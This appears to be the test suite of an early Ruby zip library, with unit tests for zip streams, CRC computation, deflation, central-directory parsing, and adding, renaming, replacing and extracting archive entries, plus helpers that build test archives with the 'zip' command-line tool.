- - def AssertEntry.assertContents(filename, aString) - fileContents = "" - File.open(filename, "rb") { |f| fileContents = f.read } - if (fileContents != aString) - if (expected.length > 400 || actual.length > 400) - stringFile = filename + ".other" - File.open(stringFile, "wb") { |f| f << aString } - fail("File '#{filename}' is different from contents of string stored in '#{stringFile}'") - else - assert_equals(expected, actual) - end - end - end - - def assertStreamContents(zis, testZipFile) - assert(zis != nil) - testZipFile.entryNames.each { - |entryName| - assertNextEntry(entryName, zis) - } - assert_equals(nil, zis.getNextEntry) - end - - def assertTestZipContents(testZipFile) - ZipInputStream.open(testZipFile.zipName) { - |zis| - assertStreamContents(zis, testZipFile) - } - end - - def assertEntryContents(zipFile, entryName, filename = entryName.to_s) - zis = zipFile.getInputStream(entryName) - assertEntryContentsForStream(filename, zis, entryName) - ensure - zis.close if zis - end -end - - - -class ZipInputStreamTest < RUNIT::TestCase - include AssertEntry - - def test_new - zis = ZipInputStream.new(TestZipFile::TEST_ZIP2.zipName) - assertStreamContents(zis, TestZipFile::TEST_ZIP2) - zis.close - end - - def test_openWithBlock - ZipInputStream.open(TestZipFile::TEST_ZIP2.zipName) { - |zis| - assertStreamContents(zis, TestZipFile::TEST_ZIP2) - } - end - - def test_openWithoutBlock - zis = ZipInputStream.open(TestZipFile::TEST_ZIP2.zipName) - assertStreamContents(zis, TestZipFile::TEST_ZIP2) - end - - def test_incompleteReads - ZipInputStream.open(TestZipFile::TEST_ZIP2.zipName) { - |zis| - entry = zis.getNextEntry - assert_equals(TestZipFile::TEST_ZIP2.entryNames[0], entry.name) - assert zis.gets.length > 0 - entry = zis.getNextEntry - assert_equals(TestZipFile::TEST_ZIP2.entryNames[1], entry.name) - assert_equals(0, entry.size) - assert_equals(nil, zis.gets) - entry = zis.getNextEntry - assert_equals(TestZipFile::TEST_ZIP2.entryNames[2], entry.name) - assert zis.gets.length > 0 - entry = zis.getNextEntry - assert_equals(TestZipFile::TEST_ZIP2.entryNames[3], entry.name) - assert zis.gets.length > 0 - } - end - -end - -class TestFiles - RANDOM_ASCII_FILE1 = "randomAscii1.txt" - RANDOM_ASCII_FILE2 = "randomAscii2.txt" - RANDOM_ASCII_FILE3 = "randomAscii3.txt" - RANDOM_BINARY_FILE1 = "randomBinary1.bin" - RANDOM_BINARY_FILE2 = "randomBinary2.bin" - - EMPTY_TEST_DIR = "emptytestdir" - - ASCII_TEST_FILES = [ RANDOM_ASCII_FILE1, RANDOM_ASCII_FILE2, RANDOM_ASCII_FILE3 ] - BINARY_TEST_FILES = [ RANDOM_BINARY_FILE1, RANDOM_BINARY_FILE2 ] - TEST_DIRECTORIES = [ EMPTY_TEST_DIR ] - TEST_FILES = [ ASCII_TEST_FILES, BINARY_TEST_FILES, EMPTY_TEST_DIR ].flatten! - - def TestFiles.createTestFiles(recreate) - if (recreate || - ! (TEST_FILES.inject(true) { |accum, element| accum && File.exists?(element) })) - - ASCII_TEST_FILES.each_with_index { - |filename, index| - createRandomAscii(filename, 1E4 * (index+1)) - } - - BINARY_TEST_FILES.each_with_index { - |filename, index| - createRandomBinary(filename, 1E4 * (index+1)) - } - - ensureDir(EMPTY_TEST_DIR) - end - end - - private - def TestFiles.createRandomAscii(filename, size) - File.open(filename, "wb") { - |file| - while (file.tell < size) - file << rand - end - } - end - - def TestFiles.createRandomBinary(filename, size) - File.open(filename, "wb") { - |file| - while (file.tell < size) - file << rand.to_a.pack("V") - end - } - end - - def TestFiles.ensureDir(name) - if File.exists?(name) - return if File.stat(name).directory? - File.delete(name) - end - Dir.mkdir(name) - end - -end - -# For representation and creation of -# test data -class TestZipFile - attr_accessor :zipName, :entryNames, :comment - - def initialize(zipName, entryNames, comment = "") - @zipName=zipName - @entryNames=entryNames - @comment = comment - end - - def TestZipFile.createTestZips(recreate) - files = Dir.entries(".") - if (recreate || - ! (files.index(TEST_ZIP1.zipName) && - files.index(TEST_ZIP2.zipName) && - files.index(TEST_ZIP3.zipName) && - files.index(TEST_ZIP4.zipName) && - files.index("empty.txt") && - files.index("short.txt") && - files.index("longAscii.txt") && - files.index("longBinary.bin") )) - raise "failed to create test zip '#{TEST_ZIP1.zipName}'" unless - system("zip #{TEST_ZIP1.zipName} ziptest.rb") - raise "failed to remove entry from '#{TEST_ZIP1.zipName}'" unless - system("zip #{TEST_ZIP1.zipName} -d ziptest.rb") - - File.open("empty.txt", "w") {} - - File.open("short.txt", "w") { |file| file << "ABCDEF" } - ziptestTxt="" - File.open("ziptest.rb") { |file| ziptestTxt=file.read } - File.open("longAscii.txt", "w") { - |file| - while (file.tell < 1E5) - file << ziptestTxt - end - } - - testBinaryPattern="" - File.open("empty.zip") { |file| testBinaryPattern=file.read } - testBinaryPattern *= 4 - - File.open("longBinary.bin", "wb") { - |file| - while (file.tell < 3E5) - file << testBinaryPattern << rand - end - } - raise "failed to create test zip '#{TEST_ZIP2.zipName}'" unless - system("zip #{TEST_ZIP2.zipName} #{TEST_ZIP2.entryNames.join(' ')}") - - # without bash system interprets everything after echo as parameters to - # echo including | zip -z ... - raise "failed to add comment to test zip '#{TEST_ZIP2.zipName}'" unless - system("bash -c \"echo #{TEST_ZIP2.comment} | zip -z #{TEST_ZIP2.zipName}\"") - - raise "failed to create test zip '#{TEST_ZIP3.zipName}'" unless - system("zip #{TEST_ZIP3.zipName} #{TEST_ZIP3.entryNames.join(' ')}") - - raise "failed to create test zip '#{TEST_ZIP4.zipName}'" unless - system("zip #{TEST_ZIP4.zipName} #{TEST_ZIP4.entryNames.join(' ')}") - end - rescue - raise $!.to_s + - "\n\nziptest.rb requires the Info-ZIP program 'zip' in the path\n" + - "to create test data. If you don't have it you can download\n" + - "the necessary test files at http://sf.net/projects/rubyzip." - end - - TEST_ZIP1 = TestZipFile.new("empty.zip", []) - TEST_ZIP2 = TestZipFile.new("4entry.zip", %w{ longAscii.txt empty.txt short.txt longBinary.bin}, - "my zip comment") - TEST_ZIP3 = TestZipFile.new("test1.zip", %w{ file1.txt }) - TEST_ZIP4 = TestZipFile.new("zipWithDir.zip", [ "file1.txt", - TestFiles::EMPTY_TEST_DIR]) -end - - -class AbstractOutputStreamTest < RUNIT::TestCase - class TestOutputStream - include AbstractOutputStream - - attr_accessor :buffer - - def initialize - @buffer = "" - end - - def << (data) - @buffer << data - self - end - end - - def setup - @outputStream = TestOutputStream.new - - @origCommaSep = $, - @origOutputSep = $\ - end - - def teardown - $, = @origCommaSep - $\ = @origOutputSep - end - - def test_write - count = @outputStream.write("a little string") - assert_equals("a little string", @outputStream.buffer) - assert_equals("a little string".length, count) - - count = @outputStream.write(". a little more") - assert_equals("a little string. a little more", @outputStream.buffer) - assert_equals(". a little more".length, count) - end - - def test_print - $\ = nil # record separator set to nil - @outputStream.print("hello") - assert_equals("hello", @outputStream.buffer) - - @outputStream.print(" world.") - assert_equals("hello world.", @outputStream.buffer) - - @outputStream.print(" You ok ", "out ", "there?") - assert_equals("hello world. You ok out there?", @outputStream.buffer) - - $\ = "\n" - @outputStream.print - assert_equals("hello world. You ok out there?\n", @outputStream.buffer) - - @outputStream.print("I sure hope so!") - assert_equals("hello world. You ok out there?\nI sure hope so!\n", @outputStream.buffer) - - $, = "X" - @outputStream.buffer = "" - @outputStream.print("monkey", "duck", "zebra") - assert_equals("monkeyXduckXzebra\n", @outputStream.buffer) - - $\ = nil - @outputStream.buffer = "" - @outputStream.print(20) - assert_equals("20", @outputStream.buffer) - end - - def test_printf - @outputStream.printf("%d %04x", 123, 123) - assert_equals("123 007b", @outputStream.buffer) - end - - def test_putc - @outputStream.putc("A") - assert_equals("A", @outputStream.buffer) - @outputStream.putc(65) - assert_equals("AA", @outputStream.buffer) - end - - def test_puts - @outputStream.puts - assert_equals("\n", @outputStream.buffer) - - @outputStream.puts("hello", "world") - assert_equals("\nhello\nworld\n", @outputStream.buffer) - - @outputStream.buffer = "" - @outputStream.puts("hello\n", "world\n") - assert_equals("hello\nworld\n", @outputStream.buffer) - - @outputStream.buffer = "" - @outputStream.puts(["hello\n", "world\n"]) - assert_equals("hello\nworld\n", @outputStream.buffer) - - @outputStream.buffer = "" - @outputStream.puts(["hello\n", "world\n"], "bingo") - assert_equals("hello\nworld\nbingo\n", @outputStream.buffer) - - @outputStream.buffer = "" - @outputStream.puts(16, 20, 50, "hello") - assert_equals("16\n20\n50\nhello\n", @outputStream.buffer) - end -end - - -module CrcTest - def runCrcTest(compressorClass) - str = "Here's a nice little text to compute the crc for! Ho hum, it is nice nice nice nice indeed." - fakeOut = AbstractOutputStreamTest::TestOutputStream.new - - deflater = compressorClass.new(fakeOut) - deflater << str - assert_equals(0x919920fc, deflater.crc) - end -end - - - -class PassThruCompressorTest < RUNIT::TestCase - include CrcTest - - def test_size - File.open("dummy.txt", "wb") { - |file| - compressor = PassThruCompressor.new(file) - - assert_equals(0, compressor.size) - - t1 = "hello world" - t2 = "" - t3 = "bingo" - - compressor << t1 - assert_equals(compressor.size, t1.size) - - compressor << t2 - assert_equals(compressor.size, t1.size + t2.size) - - compressor << t3 - assert_equals(compressor.size, t1.size + t2.size + t3.size) - } - end - - def test_crc - runCrcTest(PassThruCompressor) - end -end - -class DeflaterTest < RUNIT::TestCase - include CrcTest - - def test_outputOperator - txt = loadFile("ziptest.rb") - deflate(txt, "deflatertest.bin") - inflatedTxt = inflate("deflatertest.bin") - assert_equals(txt, inflatedTxt) - end - - private - def loadFile(fileName) - txt = nil - File.open(fileName, "rb") { |f| txt = f.read } - end - - def deflate(data, fileName) - File.open(fileName, "wb") { - |file| - deflater = Deflater.new(file) - deflater << data - deflater.finish - assert_equals(deflater.size, data.size) - file << "trailing data for zlib with -MAX_WBITS" - } - end - - def inflate(fileName) - txt = nil - File.open(fileName, "rb") { - |file| - inflater = Inflater.new(file) - txt = inflater.read - } - end - - def test_crc - runCrcTest(Deflater) - end -end - -class ZipOutputStreamTest < RUNIT::TestCase - include AssertEntry - - TEST_ZIP = TestZipFile::TEST_ZIP2.clone - TEST_ZIP.zipName = "output.zip" - - def test_new - zos = ZipOutputStream.new(TEST_ZIP.zipName) - zos.comment = TEST_ZIP.comment - writeTestZip(zos) - zos.close - assertTestZipContents(TEST_ZIP) - end - - def test_open - ZipOutputStream.open(TEST_ZIP.zipName) { - |zos| - zos.comment = TEST_ZIP.comment - writeTestZip(zos) - } - assertTestZipContents(TEST_ZIP) - end - - def test_writingToClosedStream - assertIOErrorInClosedStream { |zos| zos << "hello world" } - assertIOErrorInClosedStream { |zos| zos.puts "hello world" } - assertIOErrorInClosedStream { |zos| zos.write "hello world" } - end - - def test_cannotOpenFile - name = TestFiles::EMPTY_TEST_DIR - begin - zos = ZipOutputStream.open(name) - rescue Exception - assert($!.kind_of?(Errno::EISDIR) || # Linux - $!.kind_of?(Errno::EEXIST) || # Windows/cygwin - $!.kind_of?(Errno::EACCES), # Windows - "Expected Errno::EISDIR (or on win/cygwin: Errno::EEXIST), but was: #{$!.type}") - end - end - - def assertIOErrorInClosedStream - assert_exception(IOError) { - zos = ZipOutputStream.new("test_putOnClosedStream.zip") - zos.close - yield zos - } - end - - def writeTestZip(zos) - TEST_ZIP.entryNames.each { - |entryName| - zos.putNextEntry(entryName) - File.open(entryName, "rb") { |f| zos.write(f.read) } - } - end -end - - - -module Enumerable - def compareEnumerables(otherEnumerable) - otherAsArray = otherEnumerable.to_a - index=0 - each_with_index { - |element, index| - return false unless yield(element, otherAsArray[index]) - } - return index+1 == otherAsArray.size - end -end - - -class ZipCentralDirectoryEntryTest < RUNIT::TestCase - - def test_readFromStream - File.open("testDirectory.bin", "rb") { - |file| - entry = ZipEntry.readCDirEntry(file) - - assert_equals("longAscii.txt", entry.name) - assert_equals(ZipEntry::DEFLATED, entry.compressionMethod) - assert_equals(106490, entry.size) - assert_equals(3784, entry.compressedSize) - assert_equals(0xfcd1799c, entry.crc) - assert_equals("", entry.comment) - - entry = ZipEntry.readCDirEntry(file) - assert_equals("empty.txt", entry.name) - assert_equals(ZipEntry::STORED, entry.compressionMethod) - assert_equals(0, entry.size) - assert_equals(0, entry.compressedSize) - assert_equals(0x0, entry.crc) - assert_equals("", entry.comment) - - entry = ZipEntry.readCDirEntry(file) - assert_equals("short.txt", entry.name) - assert_equals(ZipEntry::STORED, entry.compressionMethod) - assert_equals(6, entry.size) - assert_equals(6, entry.compressedSize) - assert_equals(0xbb76fe69, entry.crc) - assert_equals("", entry.comment) - - entry = ZipEntry.readCDirEntry(file) - assert_equals("longBinary.bin", entry.name) - assert_equals(ZipEntry::DEFLATED, entry.compressionMethod) - assert_equals(1000024, entry.size) - assert_equals(70847, entry.compressedSize) - assert_equals(0x10da7d59, entry.crc) - assert_equals("", entry.comment) - - entry = ZipEntry.readCDirEntry(file) - assert_equals(nil, entry) -# Fields that are not check by this test: -# version made by 2 bytes -# version needed to extract 2 bytes -# general purpose bit flag 2 bytes -# last mod file time 2 bytes -# last mod file date 2 bytes -# compressed size 4 bytes -# uncompressed size 4 bytes -# disk number start 2 bytes -# internal file attributes 2 bytes -# external file attributes 4 bytes -# relative offset of local header 4 bytes - -# file name (variable size) -# extra field (variable size) -# file comment (variable size) - - } - end - - def test_ReadEntryFromTruncatedZipFile - fragment="" - File.open("testDirectory.bin") { |f| fragment = f.read(12) } # cdir entry header is at least 46 bytes - fragment.extend(IOizeString) - entry = ZipEntry.new - entry.readCDirEntry(fragment) - fail "ZipError expected" - rescue ZipError - end - -end - -class ZipCentralDirectoryTest < RUNIT::TestCase - - def test_readFromStream - File.open(TestZipFile::TEST_ZIP2.zipName, "rb") { - |zipFile| - cdir = ZipCentralDirectory.readFromStream(zipFile) - - assert_equals(TestZipFile::TEST_ZIP2.entryNames.size, cdir.size) - assert(cdir.compareEnumerables(TestZipFile::TEST_ZIP2.entryNames) { - |cdirEntry, testEntryName| - cdirEntry.name == testEntryName - }) - assert_equals(TestZipFile::TEST_ZIP2.comment, cdir.comment) - } - end - - def test_readFromInvalidStream - File.open("ziptest.rb", "rb") { - |zipFile| - cdir = ZipCentralDirectory.new - cdir.readFromStream(zipFile) - } - fail "ZipError expected!" - rescue ZipError - end - - def test_ReadFromTruncatedZipFile - fragment="" - File.open("testDirectory.bin") { |f| fragment = f.read } - fragment.slice!(12) # removed part of first cdir entry. eocd structure still complete - fragment.extend(IOizeString) - entry = ZipCentralDirectory.new - entry.readFromStream(fragment) - fail "ZipError expected" - rescue ZipError - end - - def test_writeToStream - entries = [ ZipEntry.new("file.zip", "flimse", "myComment", "somethingExtra"), - ZipEntry.new("file.zip", "secondEntryName"), - ZipEntry.new("file.zip", "lastEntry.txt", "Has a comment too") ] - cdir = ZipCentralDirectory.new(entries, "my zip comment") - File.open("cdirtest.bin", "wb") { |f| cdir.writeToStream(f) } - cdirReadback = ZipCentralDirectory.new - File.open("cdirtest.bin", "rb") { |f| cdirReadback.readFromStream(f) } - - assert_equals(cdir.entries, cdirReadback.entries) - end - - def test_equality - cdir1 = ZipCentralDirectory.new([ ZipEntry.new("file.zip", "flimse", nil, - "somethingExtra"), - ZipEntry.new("file.zip", "secondEntryName"), - ZipEntry.new("file.zip", "lastEntry.txt") ], - "my zip comment") - cdir2 = ZipCentralDirectory.new([ ZipEntry.new("file.zip", "flimse", nil, - "somethingExtra"), - ZipEntry.new("file.zip", "secondEntryName"), - ZipEntry.new("file.zip", "lastEntry.txt") ], - "my zip comment") - cdir3 = ZipCentralDirectory.new([ ZipEntry.new("file.zip", "flimse", nil, - "somethingExtra"), - ZipEntry.new("file.zip", "secondEntryName"), - ZipEntry.new("file.zip", "lastEntry.txt") ], - "comment?") - cdir4 = ZipCentralDirectory.new([ ZipEntry.new("file.zip", "flimse", nil, - "somethingExtra"), - ZipEntry.new("file.zip", "lastEntry.txt") ], - "comment?") - assert_equals(cdir1, cdir1) - assert_equals(cdir1, cdir2) - - assert(cdir1 != cdir3) - assert(cdir2 != cdir3) - assert(cdir2 != cdir3) - assert(cdir3 != cdir4) - - assert(cdir3 != "hello") - end -end - - -class BasicZipFileTest < RUNIT::TestCase - include AssertEntry - - def setup - @zipFile = ZipFile.new(TestZipFile::TEST_ZIP2.zipName) - @testEntryNameIndex=0 - end - - def nextTestEntryName - retVal=TestZipFile::TEST_ZIP2.entryNames[@testEntryNameIndex] - @testEntryNameIndex+=1 - return retVal - end - - def test_entries - assert_equals(TestZipFile::TEST_ZIP2.entryNames, @zipFile.entries.map {|e| e.name} ) - end - - def test_each - @zipFile.each { - |entry| - assert_equals(nextTestEntryName, entry.name) - } - assert_equals(4, @testEntryNameIndex) - end - - def test_foreach - ZipFile.foreach(TestZipFile::TEST_ZIP2.zipName) { - |entry| - assert_equals(nextTestEntryName, entry.name) - } - assert_equals(4, @testEntryNameIndex) - end - - def test_getInputStream - @zipFile.each { - |entry| - assertEntry(nextTestEntryName, @zipFile.getInputStream(entry), - entry.name) - } - assert_equals(4, @testEntryNameIndex) - end - - def test_getInputStreamBlock - fileAndEntryName = @zipFile.entries.first.name - @zipFile.getInputStream(fileAndEntryName) { - |zis| - assertEntryContentsForStream(fileAndEntryName, - zis, - fileAndEntryName) - } - end -end - -class CommonZipFileFixture < RUNIT::TestCase - include AssertEntry - - EMPTY_FILENAME = "emptyZipFile.zip" - - TEST_ZIP = TestZipFile::TEST_ZIP2.clone - TEST_ZIP.zipName = "4entry_copy.zip" - - def setup - File.delete(EMPTY_FILENAME) if File.exists?(EMPTY_FILENAME) - File.copy(TestZipFile::TEST_ZIP2.zipName, TEST_ZIP.zipName) - end -end - -class ZipFileTest < CommonZipFileFixture - - def test_createFromScratch - comment = "a short comment" - - zf = ZipFile.new(EMPTY_FILENAME, ZipFile::CREATE) - zf.comment = comment - zf.close - - zfRead = ZipFile.new(EMPTY_FILENAME) - assert_equals(comment, zfRead.comment) - assert_equals(0, zfRead.entries.length) - end - - def test_add - srcFile = "ziptest.rb" - entryName = "newEntryName.rb" - assert(File.exists? srcFile) - zf = ZipFile.new(EMPTY_FILENAME, ZipFile::CREATE) - zf.add(entryName, srcFile) - zf.close - - zfRead = ZipFile.new(EMPTY_FILENAME) - assert_equals("", zfRead.comment) - assert_equals(1, zfRead.entries.length) - assert_equals(entryName, zfRead.entries.first.name) - AssertEntry.assertContents(srcFile, - zfRead.getInputStream(entryName) { |zis| zis.read }) - end - - def test_addExistingEntryName - assert_exception(ZipEntryExistsError) { - ZipFile.open(TEST_ZIP.zipName) { - |zf| - zf.add(zf.entries.first.name, "ziptest.rb") - } - } - end - - def test_addExistingEntryNameReplace - gotCalled = false - replacedEntry = nil - ZipFile.open(TEST_ZIP.zipName) { - |zf| - replacedEntry = zf.entries.first.name - zf.add(replacedEntry, "ziptest.rb") { gotCalled = true; true } - } - assert(gotCalled) - ZipFile.open(TEST_ZIP.zipName) { - |zf| - assertContains(zf, replacedEntry, "ziptest.rb") - } - end - - def test_addDirectory - ZipFile.open(TEST_ZIP.zipName) { - |zf| - zf.add(TestFiles::EMPTY_TEST_DIR, TestFiles::EMPTY_TEST_DIR) - } - ZipFile.open(TEST_ZIP.zipName) { - |zf| - dirEntry = zf.entries.detect { |e| e.name == TestFiles::EMPTY_TEST_DIR+"/" } - assert(dirEntry.isDirectory) - } - end - - def test_remove - entryToRemove, *remainingEntries = TEST_ZIP.entryNames - - File.copy(TestZipFile::TEST_ZIP2.zipName, TEST_ZIP.zipName) - - zf = ZipFile.new(TEST_ZIP.zipName) - assert(zf.entries.map { |e| e.name }.include?(entryToRemove)) - zf.remove(entryToRemove) - assert(! zf.entries.map { |e| e.name }.include?(entryToRemove)) - assert_equals(zf.entries.map {|x| x.name }.sort, remainingEntries.sort) - zf.close - - zfRead = ZipFile.new(TEST_ZIP.zipName) - assert(! zfRead.entries.map { |e| e.name }.include?(entryToRemove)) - assert_equals(zfRead.entries.map {|x| x.name }.sort, remainingEntries.sort) - zfRead.close - end - - - def test_rename - entryToRename, *remainingEntries = TEST_ZIP.entryNames - - zf = ZipFile.new(TEST_ZIP.zipName) - assert(zf.entries.map { |e| e.name }.include? entryToRename) - - newName = "changed name" - assert(! zf.entries.map { |e| e.name }.include?(newName)) - - zf.rename(entryToRename, newName) - assert(zf.entries.map { |e| e.name }.include? newName) - - zf.close - - zfRead = ZipFile.new(TEST_ZIP.zipName) - assert(zfRead.entries.map { |e| e.name }.include? newName) - zfRead.close - end - - def test_renameToExistingEntry - oldEntries = nil - ZipFile.open(TEST_ZIP.zipName) { |zf| oldEntries = zf.entries } - - assert_exception(ZipEntryExistsError) { - ZipFile.open(TEST_ZIP.zipName) { - |zf| - zf.rename(zf.entries[0], zf.entries[1].name) - } - } - - ZipFile.open(TEST_ZIP.zipName) { - |zf| - assert_equals(oldEntries.map{ |e| e.name }, zf.entries.map{ |e| e.name }) - } - end - - def test_renameToExistingEntryOverwrite - oldEntries = nil - ZipFile.open(TEST_ZIP.zipName) { |zf| oldEntries = zf.entries } - - gotCalled = false - ZipFile.open(TEST_ZIP.zipName) { - |zf| - zf.rename(zf.entries[0], zf.entries[1].name) { gotCalled = true; true } - } - - assert(gotCalled) - oldEntries.delete_at(0) - ZipFile.open(TEST_ZIP.zipName) { - |zf| - assert_equals(oldEntries.map{ |e| e.name }, - zf.entries.map{ |e| e.name }) - } - end - - def test_renameNonEntry - nonEntry = "bogusEntry" - targetEntry = "targetEntryName" - zf = ZipFile.new(TEST_ZIP.zipName) - assert(! zf.entries.include?(nonEntry)) - assert_exception(ZipNoSuchEntryError) { - zf.rename(nonEntry, targetEntry) - } - zf.commit - assert(! zf.entries.include?(targetEntry)) - ensure - zf.close - end - - def test_renameEntryToExistingEntry - entry1, entry2, *remaining = TEST_ZIP.entryNames - zf = ZipFile.new(TEST_ZIP.zipName) - assert_exception(ZipEntryExistsError) { - zf.rename(entry1, entry2) - } - ensure - zf.close - end - - def test_replace - unchangedEntries = TEST_ZIP.entryNames.dup - entryToReplace = unchangedEntries.delete_at(2) - newEntrySrcFilename = "ziptest.rb" - - zf = ZipFile.new(TEST_ZIP.zipName) - zf.replace(entryToReplace, newEntrySrcFilename) - - zf.close - - zfRead = ZipFile.new(TEST_ZIP.zipName) - AssertEntry::assertContents(newEntrySrcFilename, - zfRead.getInputStream(entryToReplace) { |is| is.read }) - zfRead.close - end - - def test_replaceNonEntry - entryToReplace = "nonExistingEntryname" - ZipFile.open(TEST_ZIP.zipName) { - |zf| - assert_exception(ZipNoSuchEntryError) { - zf.replace(entryToReplace, "ziptest.rb") - } - } - end - - def test_commit - newName = "renamedFirst" - zf = ZipFile.new(TEST_ZIP.zipName) - oldName = zf.entries.first - zf.rename(oldName, newName) - zf.commit - - zfRead = ZipFile.new(TEST_ZIP.zipName) - assert(zfRead.entries.detect { |e| e.name == newName } != nil) - assert(zfRead.entries.detect { |e| e.name == oldName } == nil) - zfRead.close - - zf.close - end - - # This test tests that after commit, you - # can delete the file you used to add the entry to the zip file - # with - def test_commitUseZipEntry - File.copy(TestFiles::RANDOM_ASCII_FILE1, "okToDelete.txt") - zf = ZipFile.open(TEST_ZIP.zipName) - zf.add("okToDelete.txt", "okToDelete.txt") - assertContains(zf, "okToDelete.txt") - zf.commit - File.move("okToDelete.txt", "okToDeleteMoved.txt") - assertContains(zf, "okToDelete.txt", "okToDeleteMoved.txt") - end - -# def test_close -# zf = ZipFile.new(TEST_ZIP.zipName) -# zf.close -# assert_exception(IOError) { -# zf.extract(TEST_ZIP.entryNames.first, "hullubullu") -# } -# end - - def test_compound1 - renamedName = "renamedName" - originalEntries = [] - begin - zf = ZipFile.new(TEST_ZIP.zipName) - originalEntries = zf.entries.dup - - assertNotContains(zf, TestFiles::RANDOM_ASCII_FILE1) - zf.add(TestFiles::RANDOM_ASCII_FILE1, - TestFiles::RANDOM_ASCII_FILE1) - assertContains(zf, TestFiles::RANDOM_ASCII_FILE1) - - zf.rename(zf.entries[0], renamedName) - assertContains(zf, renamedName) - - TestFiles::BINARY_TEST_FILES.each { - |filename| - zf.add(filename, filename) - assertContains(zf, filename) - } - - assertContains(zf, originalEntries.last.to_s) - zf.remove(originalEntries.last.to_s) - assertNotContains(zf, originalEntries.last.to_s) - - ensure - zf.close - end - begin - zfRead = ZipFile.new(TEST_ZIP.zipName) - assertContains(zfRead, TestFiles::RANDOM_ASCII_FILE1) - assertContains(zfRead, renamedName) - TestFiles::BINARY_TEST_FILES.each { - |filename| - assertContains(zfRead, filename) - } - assertNotContains(zfRead, originalEntries.last.to_s) - ensure - zfRead.close - end - end - - def test_compound2 - begin - zf = ZipFile.new(TEST_ZIP.zipName) - originalEntries = zf.entries.dup - - originalEntries.each { - |entry| - zf.remove(entry) - assertNotContains(zf, entry) - } - assert(zf.entries.empty?) - - TestFiles::ASCII_TEST_FILES.each { - |filename| - zf.add(filename, filename) - assertContains(zf, filename) - } - assert_equals(zf.entries.map { |e| e.name }, TestFiles::ASCII_TEST_FILES) - - zf.rename(TestFiles::ASCII_TEST_FILES[0], "newName") - assertNotContains(zf, TestFiles::ASCII_TEST_FILES[0]) - assertContains(zf, "newName") - ensure - zf.close - end - begin - zfRead = ZipFile.new(TEST_ZIP.zipName) - asciiTestFiles = TestFiles::ASCII_TEST_FILES.dup - asciiTestFiles.shift - asciiTestFiles.each { - |filename| - assertContains(zf, filename) - } - - assertContains(zf, "newName") - ensure - zfRead.close - end - end - - private - def assertContains(zf, entryName, filename = entryName) - assert(zf.entries.detect { |e| e.name == entryName} != nil, "entry #{entryName} not in #{zf.entries.join(', ')} in zip file #{zf}") - assertEntryContents(zf, entryName, filename) if File.exists?(filename) - end - - def assertNotContains(zf, entryName) - assert(zf.entries.detect { |e| e.name == entryName} == nil, "entry #{entryName} in #{zf.entries.join(', ')} in zip file #{zf}") - end -end - -class ZipFileExtractTest < CommonZipFileFixture - EXTRACTED_FILENAME = "extEntry" - ENTRY_TO_EXTRACT, *REMAINING_ENTRIES = TEST_ZIP.entryNames.reverse - - def setup - super - File.delete(EXTRACTED_FILENAME) if File.exists?(EXTRACTED_FILENAME) - end - - def test_extract - ZipFile.open(TEST_ZIP.zipName) { - |zf| - zf.extract(ENTRY_TO_EXTRACT, EXTRACTED_FILENAME) - - assert(File.exists? EXTRACTED_FILENAME) - AssertEntry::assertContents(EXTRACTED_FILENAME, - zf.getInputStream(ENTRY_TO_EXTRACT) { |is| is.read }) - } - end - - def test_extractExists - writtenText = "written text" - File.open(EXTRACTED_FILENAME, "w") { |f| f.write(writtenText) } - - assert_exception(ZipDestinationFileExistsError) { - ZipFile.open(TEST_ZIP.zipName) { - |zf| - zf.extract(zf.entries.first, EXTRACTED_FILENAME) - } - } - File.open(EXTRACTED_FILENAME, "r") { - |f| - assert_equals(writtenText, f.read) - } - end - - def test_extractExistsOverwrite - writtenText = "written text" - File.open(EXTRACTED_FILENAME, "w") { |f| f.write(writtenText) } - - gotCalled = false - ZipFile.open(TEST_ZIP.zipName) { - |zf| - zf.extract(zf.entries.first, EXTRACTED_FILENAME) { gotCalled = true; true } - } - - assert(gotCalled) - File.open(EXTRACTED_FILENAME, "r") { - |f| - assert(writtenText != f.read) - } - end - - def test_extractNonEntry - zf = ZipFile.new(TEST_ZIP.zipName) - assert_exception(ZipNoSuchEntryError) { zf.extract("nonExistingEntry", "nonExistingEntry") } - ensure - zf.close if zf - end - - def test_extractNonEntry2 - outFile = "outfile" - assert_exception(ZipNoSuchEntryError) { - zf = ZipFile.new(TEST_ZIP.zipName) - nonEntry = "hotdog-diddelidoo" - assert(! zf.entries.include?(nonEntry)) - zf.extract(nonEntry, outFile) - zf.close - } - assert(! File.exists?(outFile)) - end - -end - -class ZipFileExtractDirectoryTest < CommonZipFileFixture - TEST_OUT_NAME = "emptyOutDir" - - def openZip(&aProc) - assert(aProc != nil) - ZipFile.open(TestZipFile::TEST_ZIP4.zipName, &aProc) - end - - def extractTestDir(&aProc) - openZip { - |zf| - zf.extract(TestFiles::EMPTY_TEST_DIR, TEST_OUT_NAME, &aProc) - } - end - - def setup - super - - Dir.rmdir(TEST_OUT_NAME) if File.directory? TEST_OUT_NAME - File.delete(TEST_OUT_NAME) if File.exists? TEST_OUT_NAME - end - - def test_extractDirectory - extractTestDir - assert(File.directory? TEST_OUT_NAME) - end - - def test_extractDirectoryExistsAsDir - Dir.mkdir TEST_OUT_NAME - extractTestDir - assert(File.directory? TEST_OUT_NAME) - end - - def test_extractDirectoryExistsAsFile - File.open(TEST_OUT_NAME, "w") { |f| f.puts "something" } - assert_exception(ZipDestinationFileExistsError) { extractTestDir } - end - - def test_extractDirectoryExistsAsFileOverwrite - File.open(TEST_OUT_NAME, "w") { |f| f.puts "something" } - gotCalled = false - extractTestDir { - |entry, destPath| - gotCalled = true - assert_equals(TEST_OUT_NAME, destPath) - assert(entry.isDirectory) - true - } - assert(gotCalled) - assert(File.directory? TEST_OUT_NAME) - end -end - - -TestFiles::createTestFiles(ARGV.index("recreate") != nil || - ARGV.index("recreateonly") != nil) -TestZipFile::createTestZips(ARGV.index("recreate") != nil || - ARGV.index("recreateonly") != nil) -exit if ARGV.index("recreateonly") != nil - -#require 'runit/cui/testrunner' -#RUNIT::CUI::TestRunner.run(ZipFileTest.suite) - -# Copyright (C) 2002 Thomas Sondergaard -# rubyzip is free software; you can redistribute it and/or -# modify it under the terms of the ruby license. -#!/usr/bin/env ruby - -$VERBOSE = true - -require 'rubyunit' -require 'zip' - -include Zip - -Dir.chdir "test" - -class AbstractInputStreamTest < RUNIT::TestCase - # AbstractInputStream subclass that provides a read method - - TEST_LINES = [ "Hello world#{$/}", - "this is the second line#{$/}", - "this is the last line"] - TEST_STRING = TEST_LINES.join - class TestAbstractInputStream - include AbstractInputStream - def initialize(aString) - @contents = aString - @readPointer = 0 - end - - def read(charsToRead) - retVal=@contents[@readPointer, charsToRead] - @readPointer+=charsToRead - return retVal - end - - def produceInput - read(100) - 